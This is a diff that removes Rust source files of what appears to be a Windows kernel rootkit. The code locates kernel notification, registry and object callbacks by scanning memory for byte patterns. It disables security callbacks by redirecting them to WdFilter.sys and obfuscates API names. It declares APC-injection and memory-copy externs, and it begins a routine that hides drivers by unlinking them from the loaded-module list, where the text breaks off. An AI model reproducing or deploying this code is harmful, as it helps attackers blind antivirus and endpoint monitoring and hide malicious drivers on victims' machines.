pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>, ShadowError> {
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock();
let (mut ldr_data, module_count) = list_modules()?;
let start_entry = ldr_data;
// Iterate over the removed callbacks
for (i, callback) in callbacks_removed.iter().enumerate() {
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
// Check if the callback addresses fall within the module's memory range
if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address
|| callback.post_operation > start_address as u64 && callback.post_operation < end_address
{
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the removed callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: callback.index as u8,
name,
pre_operation: callback.pre_operation as usize,
post_operation: callback.post_operation as usize,
address: 0
});
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset the module list pointer for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}
}

View File

@@ -1,280 +0,0 @@
use {
alloc::vec::Vec,
spin::{Lazy, Mutex},
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
wdk_sys::{NTSTATUS, STATUS_SUCCESS},
};
use {
common::{
enums::Callbacks,
structs::CallbackInfoOutput
},
crate::{
list_modules,
error::ShadowError,
lock::with_push_lock_exclusive,
data::{CallbackRestaure, CM_CALLBACK},
callback::find_callback::{
find_callback_address, CallbackResult
},
},
};
/// Structure representing the Callback Registry.
pub struct CallbackRegistry;
const MAX_CALLBACK: usize = 100;
/// Stores information about removed callbacks.
///
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(||
Mutex::new(Vec::with_capacity(MAX_CALLBACK))
);
/// Implement a feature for the callback CmRegisterCallbackEx.
impl CallbackRegistry {
/// Restores a previously removed callback by its index.
///
/// # Arguments
///
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
/// * `index` - The index of the callback to restore.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
// Lock the removed callbacks to ensure thread-safe access
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
// Locating the target callback index
let index = callbacks_info
.iter()
.position(|c| c.callback == callback && c.index == index)
.ok_or(ShadowError::IndexNotFound(index))?;
// Retrieve the callback address based on the callback type
let (callback, count, lock) = match find_callback_address(&callback)? {
CallbackResult::Registry(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound)
};
// Getting a lock to perform the restore operation
with_push_lock_exclusive(lock as *mut u64, || {
let count = *(count as *mut u32) + 1;
let mut pcm_callback = callback as *mut CM_CALLBACK;
for i in 0..count {
if pcm_callback.is_null() {
break;
}
if i == index as u32 {
// If the index is matched, restore from the list
(*pcm_callback).Function = callbacks_info[index].address;
callbacks_info.remove(index);
return Ok(STATUS_SUCCESS);
}
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
}
Err(ShadowError::RestoringFailureCallback)
})
}
/// Removes a callback from the specified routine.
///
/// # Arguments
///
/// * `target_callback` - Pointer to the callback information input.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
/// * `Err(ShadowError)` - if the callback address cannot be found.
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
// Retrieve the callback address based on the callback type
let (callbacks, count, lock) = match find_callback_address(&callback)? {
CallbackResult::Registry(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound)
};
// Getting a lock to perform the remove operation
with_push_lock_exclusive(lock as *mut u64, || {
let count = *(count as *mut u32) + 1;
let mut pcm_callback = callbacks as *mut CM_CALLBACK;
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
let mut prev_addr = 0;
for i in 0..count {
if i == 1 {
// Here we make an exchange, changing the target address to `WdFilter.sys`
prev_addr = (*pcm_callback).Function;
}
if pcm_callback.is_null() {
break;
}
if i == index as u32 {
let callback_restaure = CallbackRestaure {
index,
callback,
address: (*pcm_callback).Function,
..Default::default()
};
// If the index is matched, remove from the list
(*pcm_callback).Function = prev_addr;
callbacks_info.push(callback_restaure);
return Ok(STATUS_SUCCESS);
}
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
}
Err(ShadowError::RemoveFailureCallback)
})
}
}
/// Methods related to callback enumeration
impl CallbackRegistry {
/// Searches for a module associated with a callback and updates callback information.
///
/// # Arguments
///
/// * `target_callback` - Pointer to the callback information input.
/// * `callback_info` - Pointer to the callback information output.
/// * `information` - Pointer to a variable to store information size.
///
/// # Returns
///
/// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>, ShadowError> {
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
let (callback, count, lock) = match find_callback_address(&callback)? {
CallbackResult::Registry(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound)
};
let (mut ldr_data, module_count) = list_modules()?;
let start_entry = ldr_data;
let count = *(count as *mut u32) + 1;
let mut pcm_callback = callback as *mut CM_CALLBACK;
with_push_lock_exclusive(lock as *mut u64, || {
for i in 0..count as isize {
if pcm_callback.is_null() {
break;
}
// Iterate over the loaded modules
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
let addr = (*pcm_callback).Function;
if addr > start_address as u64 && addr < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: i as u8,
address: addr as usize,
name,
..Default::default()
});
break;
}
// Go to the next module in the list
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset ldr_data for next callback
ldr_data = start_entry;
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
}
Ok(callbacks)
})
}
/// List of callbacks currently removed.
///
/// # Arguments
///
/// * `target_callback` - Pointer to the callback information input.
/// * `callback_info` - Pointer to the callback information output.
/// * `information` - Pointer to a variable to store information size.
///
/// # Returns
///
/// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>, ShadowError> {
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
let (mut ldr_data, module_count) = list_modules()?;
let start_entry = ldr_data;
for (i, callback) in callbacks_removed.iter().enumerate() {
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
if callback.address > start_address as u64 && callback.address < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: callback.index as u8,
address: callback.address as usize,
name,
..Default::default()
});
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset the module list pointer for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}
}

View File

@@ -1,173 +0,0 @@
use {
obfstr::obfstr,
wdk_sys::{
PsProcessType, PsThreadType,
ntddk::MmGetSystemRoutineAddress,
},
};
use {
common::enums::Callbacks,
crate::{
data::FULL_OBJECT_TYPE,
error::ShadowError,
utils::{
patterns::scan_for_pattern,
uni::str_to_unicode
}
},
};
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
///
/// This function retrieves the address of the `PsSetCreateProcessNotifyRoutine`
/// by scanning memory for a specific pattern.
///
/// # Returns
///
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
unsafe fn find_ps_create_process() -> Result<*mut u8, ShadowError> {
let mut name = str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
// call nt!PspSetCreateProcessNotifyRoutine (xxx)
let instructions = [0xE8];
let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14)?;
let instructions = [0x4C, 0x8D, 0x2D];
scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98)
}
/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
///
/// This function retrieves the address of the `PsRemoveCreateThreadNotifyRoutine`
/// by scanning memory for a specific pattern.
///
/// # Returns
///
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
unsafe fn find_ps_create_thread() -> Result<*mut u8, ShadowError> {
let mut name = str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
// lea rcx,[nt!PspCreateThreadNotifyRoutine (xxx)]
let instructions = [0x48, 0x8D, 0x0D];
scan_for_pattern(function_address, &instructions, 3, 7, 0x50)
}
/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
///
/// This function retrieves the address of the `PsSetLoadImageNotifyRoutineEx`
/// by scanning memory for a specific pattern.
///
/// # Returns
///
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
unsafe fn find_ps_load_image() -> Result<*mut u8, ShadowError> {
let mut name = str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
// lea rcx,[nt!PspLoadImageNotifyRoutine (xxx)]
let instructions = [0x48, 0x8D, 0x0D];
scan_for_pattern(function_address, &instructions, 3, 7, 0x50)
}
/// Finds the address of the `CmRegisterCallbackEx` routine.
///
/// This function retrieves the address of the `CmRegisterCallbackEx` routine
/// and other related components such as the callback list lock, callback list head,
/// and the callback count, by scanning memory for specific patterns.
///
/// # Returns
///
/// * `Ok((*mut u8, *mut u8, *mut u8))` - A tuple containing the callback list head, callback count,
/// and the callback list lock if found.
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
unsafe fn find_cm_register_callback() -> Result<(*mut u8, *mut u8, *mut u8), ShadowError> {
let mut name = str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
// call nt!CmpRegisterCallbackInternal
let register_internal_pattern = [0xE8];
let register_callback_internal = scan_for_pattern(function_address, &register_internal_pattern, 1, 5, 0x50)?;
// call nt!CmpInsertCallbackInListByAltitude
let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8];
let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108)?;
// lea rcx,[nt!CmpCallbackListLock (xxx)]
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200)?;
// lea r15,[nt!CallbackListHead (xxx)]
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200)?;
// lock inc dword ptr [nt!CmpCallBackCount (xxx)]
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200)?;
Ok((callback_list_header, callback_count, callback_list_lock))
}
/// Finds the address of the `ObRegisterCallbacks` routine.
///
/// This function retrieves the address of either the `ObProcess` or `ObThread` callbacks
/// based on the provided callback type.
///
/// # Arguments
///
/// * `callback` - A reference to the `Callbacks` enum specifying the target callback.
///
/// # Returns
///
/// * `Ok(*mut FULL_OBJECT_TYPE)` - The pointer to the object type associated with the callback if found.
/// * `Err(ShadowError)` - If the callback type is not recognized or an error occurs.
pub fn find_ob_register_callback(callback: &Callbacks) -> Result<*mut FULL_OBJECT_TYPE, ShadowError> {
match callback {
Callbacks::ObProcess => Ok(unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }),
Callbacks::ObThread => Ok(unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }),
_ => Err(ShadowError::PatternNotFound)
}
}
/// Finds the address of the specified callback routine.
///
/// This function dispatches the search based on the callback type, calling the appropriate
/// function to retrieve the address of the desired callback.
///
/// # Arguments
///
/// * `callback` - A reference to the `Callbacks` enum specifying the target callback.
///
/// # Returns
///
/// * `Ok(CallbackResult)` - A result containing the address of the callback or related components.
/// * `Err(ShadowError)` - If the callback is not found or an error occurs.
pub unsafe fn find_callback_address(callback: &Callbacks) -> Result<CallbackResult, ShadowError> {
match callback {
Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::Notify),
Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::Notify),
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::Notify),
Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry),
Callbacks::ObProcess | Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::Object),
}
}
/// Enum representing the return types for various callback searches.
///
/// This enum holds the result of searching for a specific callback routine.
/// The variants store the associated memory addresses for the found callbacks.
pub enum CallbackResult {
/// Holds the address for process/thread/image creation notifications.
Notify(*mut u8),
/// Holds the addresses for the registry callback, including the callback list and callback count.
Registry((*mut u8, *mut u8, *mut u8)),
/// Holds the address for object process/thread callbacks.
Object(*mut FULL_OBJECT_TYPE),
}

View File

@@ -1,6 +0,0 @@
/// This module provides custom callback functions and utilities.
pub mod find_callback;
/// This module implements various types of callbacks used throughout the project.
pub mod callbacks;
pub use callbacks::*;

View File

@@ -1,13 +0,0 @@
#[repr(C)]
pub enum KAPC_ENVIROMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
}
#[derive(Clone, Copy)]
pub enum COMUNICATION_TYPE {
TCP = 3,
UDP = 1
}

View File

@@ -1,68 +0,0 @@
use super::*;
use wdk_sys::*;
extern "C" {
pub static mut IoDriverObjectType: *mut *mut _OBJECT_TYPE;
}
extern "system" {
pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB;
pub fn PsGetCurrentThread() -> PETHREAD;
pub fn IoCreateDriver(
DriverName: PUNICODE_STRING,
DriverInitialize: types::DRIVER_INITIALIZE,
) -> NTSTATUS;
pub fn ZwProtectVirtualMemory(
ProcessHandle: HANDLE,
BaseAddress: *mut PVOID,
RegionSize: PSIZE_T,
NewProtect: ULONG,
OldProtect: PULONG
) -> NTSTATUS;
pub fn MmCopyVirtualMemory(
SourceProcess: PEPROCESS,
SourceAddress: PVOID,
TargetProcess: PEPROCESS,
TargetAddress: PVOID,
BufferSize: SIZE_T,
PreviousMode: KPROCESSOR_MODE,
ReturnSize: PSIZE_T,
);
pub fn KeInitializeApc(
APC: PRKAPC,
Thread: PETHREAD,
Environment: enums::KAPC_ENVIROMENT,
KernelRoutine: types::PKKERNEL_ROUTINE,
RundownRoutine: types::PKRUNDOWN_ROUTINE,
NormalRoutine: types::PKNORMAL_ROUTINE,
ApcMode: KPROCESSOR_MODE,
NormalContext: PVOID
);
pub fn KeTestAlertThread(
AlertMode: KPROCESSOR_MODE
);
pub fn KeInsertQueueApc(
APC: PRKAPC,
SystemArgument1: PVOID,
SystemArgument2: PVOID,
Increment: KPRIORITY
) -> bool;
pub fn ObReferenceObjectByName(
ObjectName: PUNICODE_STRING,
Attributes: u32,
AccessState: PACCESS_STATE,
DesiredAccess: ACCESS_MASK,
ObjectType: POBJECT_TYPE,
AccessMode: KPROCESSOR_MODE,
ParseContext: PVOID,
Object: *mut PVOID,
) -> NTSTATUS;
}

View File

@@ -1,13 +0,0 @@
#![allow(non_camel_case_types, non_snake_case)]
pub mod structs;
pub use structs::*;
pub mod types;
pub use types::*;
pub mod externs;
pub use externs::*;
pub mod enums;
pub use enums::*;

View File

@@ -1,399 +0,0 @@
use {
wdk_sys::*,
bitfield::bitfield,
common::enums::Callbacks,
core::{ffi::c_void, mem::ManuallyDrop},
};
use super::COMUNICATION_TYPE;
bitfield! {
pub struct PS_PROTECTION(u8);
pub u8, Type, SetType: 2, 0;
pub u8, Audit, SetAudit: 3;
pub u8, Signer, SetSigner: 7, 4;
}
#[repr(C)]
pub struct PROCESS_SIGNATURE {
pub SignatureLevel: u8,
pub SectionSignatureLevel: u8,
pub Protection: PS_PROTECTION,
}
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct SystemModuleInformation {
pub ModuleCount: u32,
pub Modules: [SystemModule; 256],
}
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct SystemModule {
pub Section: *mut c_void,
pub MappedBase: *mut c_void,
pub ImageBase: *mut c_void,
pub Size: u32,
pub Flags: u32,
pub Index: u8,
pub NameLength: u8,
pub LoadCount: u8,
pub PathLength: u8,
pub ImageName: [u8; 256],
}
#[repr(C)]
pub struct MMVAD_SHORT {
pub VadNode: RTL_BALANCED_NODE,
pub StartingVpn: u32,
pub EndingVpn: u32,
pub StartingVpnHigh: u8,
pub EndingVpnHigh: u8,
pub CommitChargeHigh: u8,
pub SpareNT64VadUChar: u8,
pub ReferenceCount: i32,
pub PushLock: usize,
pub u: MMVAD_SHORT_0,
pub u1: MMVAD_SHORT_0_0,
pub u5: MMVAD_SHORT_0_0_0,
}
#[repr(C)]
pub union MMVAD_SHORT_0 {
pub LongFlags: u32,
pub VadFlags: ManuallyDrop<MMVAD_FLAGS>,
pub PrivateVadFlags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
pub GraphicsVadFlags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
pub SharedVadFlags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
pub VolatileLong: u32,
}
#[repr(C)]
pub union MMVAD_SHORT_0_0 {
pub LongFlags1: u32,
pub VadFlags1: ManuallyDrop<MMVAD_FLAGS1>,
}
#[repr(C)]
pub union MMVAD_SHORT_0_0_0 {
pub EventListUlongPtr: u64,
pub StartingVpnHigher: u8,
}
#[repr(C)]
pub struct SUBSECTION {
pub ControlArea: *mut CONTROL_AREA,
}
#[repr(C)]
pub struct CONTROL_AREA {
Segment: *mut *mut c_void,
ListOrAweContext: LIST_OR_AWE_CONTEXT,
NumberOfSectionReferences: u64,
NumberOfPfnReferences: u64,
NumberOfMappedViews: u64,
NumberOfUserReferences: u64,
u: CONTROL_AREA_0,
u1: CONTROL_AREA_0_0,
pub FilePointer: EX_FAST_REF
}
#[repr(C)]
pub struct EX_FAST_REF {
pub Inner: EX_FAST_REF_INNER,
}
#[repr(C)]
pub union EX_FAST_REF_INNER {
pub Object: *mut c_void,
pub Value: u64,
}
#[repr(C)]
pub union CONTROL_AREA_0 {
LongFlags: u32,
Flags: u32,
}
#[repr(C)]
pub union CONTROL_AREA_0_0 {
LongFlags: u32,
Flags: u32,
}
#[repr(C)]
pub union LIST_OR_AWE_CONTEXT {
ListHead: LIST_ENTRY,
AweContext: *mut c_void,
}
#[repr(C)]
pub struct MMVAD {
Core: MMVAD_SHORT,
u2: MMVAD_0,
pub SubSection: *mut SUBSECTION
}
#[repr(C)]
pub union MMVAD_0 {
LongFlags2: u32,
VadFlags2: ManuallyDrop<MMVAD_FLAGS2>
}
bitfield! {
#[repr(C)]
pub struct MMVAD_FLAGS(u32);
impl Debug;
u32;
pub Lock, SetLock: 0;
pub LockContended, SetLockContended: 1;
pub DeleteInProgress, SetDeleteInProgress: 2;
pub NoChange, SetNoChange: 3;
pub VadType, SetVadType: 6, 4;
pub Protection, SetProtection: 11, 7;
pub PreferredNode, SetPreferredNode: 18, 12;
pub PageSize, SetPageSize: 19, 20;
pub PrivateMemory, SetPrivateMemory: 21;
}
bitfield! {
#[repr(C)]
pub struct MMVAD_FLAGS1(u32);
impl Debug;
pub CommitCharge, SetCommitCharge: 30, 0;
pub MemCommit, SetMemCommit: 31;
}
bitfield! {
#[repr(C)]
pub struct MMVAD_FLAGS2(u32);
impl Debug;
u32;
pub FileOffset, SetFileOffset: 0, 23;
pub Large, SetLarge: 24;
pub TrimBehind, SetTrimBehind: 25;
pub Inherit, SetInherit: 26;
pub NoValidationNeeded, SetNoValidationNeeded: 27;
pub PrivateDemandZEro, SetPrivateDemandZero: 28;
pub Spare, SetSpare: 29, 31;
}
bitfield! {
#[repr(C)]
pub struct MM_SHARED_VAD_FLAGS(u32);
impl Debug;
u32;
pub Lock, SetLock: 1;
pub LockContended, SetLockContended: 1;
pub DeleteInProgress, SetDeleteInProgress: 1;
pub NoChange, SetNoChange: 1;
pub VadType, SetVadType: 6, 4;
pub Protection, SetProtection: 11, 7;
pub PreferredNode, SetPreferredNode: 18, 12;
pub PageSize, SetPageSize: 19, 20;
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
pub PrivateFixup, SetPrivateFixup: 22;
pub HotPatchState, SetHotPatchState: 24, 23;
}
bitfield! {
#[repr(C)]
pub struct MM_PRIVATE_VAD_FLAGS(u32);
impl Debug;
u32;
pub Lock, SetLock: 1;
pub LockContended, SetLockContended: 1;
pub DeleteInProgress, SetDeleteInProgress: 1;
pub NoChange, SetNoChange: 1;
pub VadType, SetVadType: 6, 4;
pub Protection, SetProtection: 11, 7;
pub PreferredNode, SetPreferredNode: 18, 12;
pub PageSize, SetPageSize: 19, 20;
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
pub Writewatch, setWrite: 22;
pub FixedLargePageSize, SetPageLarge: 23;
pub ZeroFillPagesOptional, SetZeroFill: 24;
pub Graphics, SetGraphics: 25;
pub Enclave, SetEnclave: 26;
pub ShadowStack, SetShadowStack: 27;
pub PhysicalMemoryPfnsReferenced, SetPhysical: 28;
}
bitfield! {
#[repr(C)]
pub struct MM_GRAPHICS_VAD_FLAGS(u32);
impl Debug;
u32;
pub Lock, SetLock: 1;
pub LockContended, SetLockContended: 1;
pub DeleteInProgress, SetDeleteInProgress: 1;
pub NoChange, SetNoChange: 1;
pub VadType, SetVadType: 6, 4;
pub Protection, SetProtection: 11, 7;
pub PreferredNode, SetPreferredNode: 18, 12;
pub PageSize, SetPageSize: 19, 20;
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
pub Writewatch, setWrite: 22;
pub FixedLargePageSize, SetPageLarge: 23;
pub ZeroFillPagesOptional, SetZeroFill: 24;
pub GraphicsAlwaysSet, SetGraphicsAlwaysSet: 25;
pub GraphicsUseCoherent, SetGraphicsUseCoherent: 26;
pub GraphicsNoCache, SetGraphicsNoCache: 27;
pub GraphicsPageProtection, SetGraphicsPageProtection: 30, 28;
}
#[repr(C)]
pub struct TRACE_ENABLE_INFO {
pub IsEnabled: u32,
pub Level: u8,
pub Reserved1: u8,
pub LoggerId: u16,
pub EnableProperty: u32,
pub Reserved2: u32,
pub MatchAnyKeyword: u64,
pub MatchAllKeyword: u64
}
#[repr(C)]
#[derive(Debug)]
pub struct NSI_TCP_ENTRY {
pub Reserved1: [u8; 2],
pub Port: u16,
pub IpAddress: u32,
pub IpAddress6: [u8; 16],
pub Reserved2: [u8; 4]
}
#[repr(C)]
#[derive(Debug)]
pub struct NSI_TABLE_TCP_ENTRY {
pub Local: NSI_TCP_ENTRY,
pub Remote: NSI_TCP_ENTRY
}
#[repr(C)]
pub struct NSI_UDP_ENTRY {
pub Reserved1: [u8; 2],
pub Port: u16,
pub IpAddress: u32,
pub IpAddress6: [u8; 16],
pub Reserved2: [u8; 4]
}
#[repr(C)]
pub struct NSI_PARAM {
pub Reserved1: usize,
pub Reverved2: usize,
pub ModuleId: *mut core::ffi::c_void,
pub Type_: COMUNICATION_TYPE,
pub Reserved3: u32,
pub Reserved4: u32,
pub Entries: *mut core::ffi::c_void,
pub EntrySize: usize,
pub Reserved5: *mut core::ffi::c_void,
pub Reserved6: usize,
pub StatusEntries: *mut NSI_STATUS_ENTRY,
pub Reserved7: usize,
pub ProcessEntries: *mut NSI_PROCESS_ENTRY,
pub ProcessEntrySize: usize,
pub Count: usize
}
#[repr(C)]
pub struct NSI_STATUS_ENTRY {
pub State: u32,
pub Reserved: [u8; 8]
}
#[repr(C)]
pub struct NSI_PROCESS_ENTRY {
pub UdpProcessId: u32,
pub Reserved1: u32,
pub Reserved2: u32,
pub TcpProcessId: u32,
pub Reserved3: u32,
pub Reserved4: u32,
pub Reserved5: u32,
pub Reserved6: u32
}
#[repr(C)]
pub struct FULL_OBJECT_TYPE {
pub TypeList: LIST_ENTRY,
pub Name: UNICODE_STRING,
pub DefaultObject: *mut c_void,
pub Index: u8,
pub TotalNumberOf_Objects: u32,
pub TotalNumberOfHandles: u32,
pub HighWaterNumberOfObjects: u32,
pub HighWaterNumberOfHandles: u32,
pub TypeInfo: [u8; 0x78],
pub TypeLock: _EX_PUSH_LOCK,
pub Key: u32,
pub CallbackList: LIST_ENTRY,
}
bitfield! {
pub struct _EX_PUSH_LOCK(u64);
impl Debug;
u64;
Locked, SetLocked: 0;
Waiting, SetWaiting: 1;
Waking, Setwaking: 2;
MultipleShared, SetMultipleShared: 3;
Shared, SetShared: 63, 4;
}
#[repr(C)]
#[derive(Default)]
pub struct CallbackRestaure {
pub index: usize,
pub callback: Callbacks,
pub address: u64,
}
#[repr(C)]
#[derive(Default)]
pub struct CallbackRestaureOb{
pub index: usize,
pub callback: Callbacks,
pub pre_operation: u64,
pub post_operation: u64,
pub entry: u64,
}
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct CM_CALLBACK {
pub List: LIST_ENTRY,
pub Unknown1: [u64; 2],
pub Context: u64,
pub Function: u64,
pub Altitude: UNICODE_STRING,
pub Unknown2: [u64; 2],
}
#[repr(C)]
pub struct OBCALLBACK_ENTRY {
pub CallbackList: LIST_ENTRY,
pub Operations: OB_OPERATION,
pub Enabled: bool,
pub Entry: *mut OB_CALLBACK,
pub ObjectType: POBJECT_TYPE,
pub PreOperation: POB_PRE_OPERATION_CALLBACK,
pub PostOperation: POB_POST_OPERATION_CALLBACK,
pub Lock: KSPIN_LOCK
}
#[repr(C)]
pub struct OB_CALLBACK {
pub Version: u16,
pub OperationRegistrationCount: u16,
pub RegistrationContext: *mut c_void,
pub AltitudeString: UNICODE_STRING,
pub EntryItems: [OBCALLBACK_ENTRY; 1],
pub AltitudeBuffer: [u16; 1],
}

View File

@@ -1,41 +0,0 @@
#![allow(non_camel_case_types)]
use wdk_sys::*;
use ntapi::ntpsapi::PPS_ATTRIBUTE_LIST;
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
DriverObject: &mut _DRIVER_OBJECT,
RegistryPath: PCUNICODE_STRING,
) -> NTSTATUS>;
pub type ZwCreateThreadExType = unsafe extern "system" fn (
ThreadHandle: PHANDLE,
DesiredAccess: ACCESS_MASK,
ObjectAttributes: POBJECT_ATTRIBUTES,
ProcessHandle: HANDLE,
StartRoutine: PVOID,
Argument: PVOID,
CreateFlags: SIZE_T,
ZeroBits: usize,
StackSize: usize,
MaximumStackSize: usize,
AttributeList: PPS_ATTRIBUTE_LIST
) -> NTSTATUS;
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
APC: PKAPC,
) -> NTSTATUS>;
pub type PKNORMAL_ROUTINE = Option<unsafe extern "system" fn(
NormalContext: *mut PVOID,
SystemArgument1: *mut PVOID,
SystemArgument2: *mut PVOID
) -> NTSTATUS>;
pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
APC: PKAPC,
NormalRoutine: *mut PKNORMAL_ROUTINE,
NormalContext: *mut PVOID,
SystemArgument1: *mut PVOID,
SystemArgument2: *mut PVOID
);

View File

@@ -1,180 +0,0 @@
use {
obfstr::obfstr,
common::structs::DriverInfo,
crate::{error::ShadowError, uni},
alloc::{
vec::Vec,
string::{String, ToString},
},
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
wdk_sys::{
ntddk::MmGetSystemRoutineAddress,
LIST_ENTRY, NTSTATUS, PLIST_ENTRY,
STATUS_SUCCESS
}
};
/// Represents driver manipulation operations.
///
/// The `Driver` struct provides methods to hide and unhide kernel drivers
/// by modifying the `PsLoadedModuleList`, which tracks loaded drivers in the system.
pub struct Driver;
impl Driver {
/// Hides a specified driver from the PsLoadedModuleList.
///
/// This function iterates over the `PsLoadedModuleList` to find a driver whose name matches
/// the provided `driver_name`. Once found, the driver is unlinked from the list, effectively hiding it
/// from tools that inspect the loaded drivers list.
///
/// # Arguments
///
/// * `driver_name` - A string slice containing the name of the driver to hide.
///
/// # Returns
///
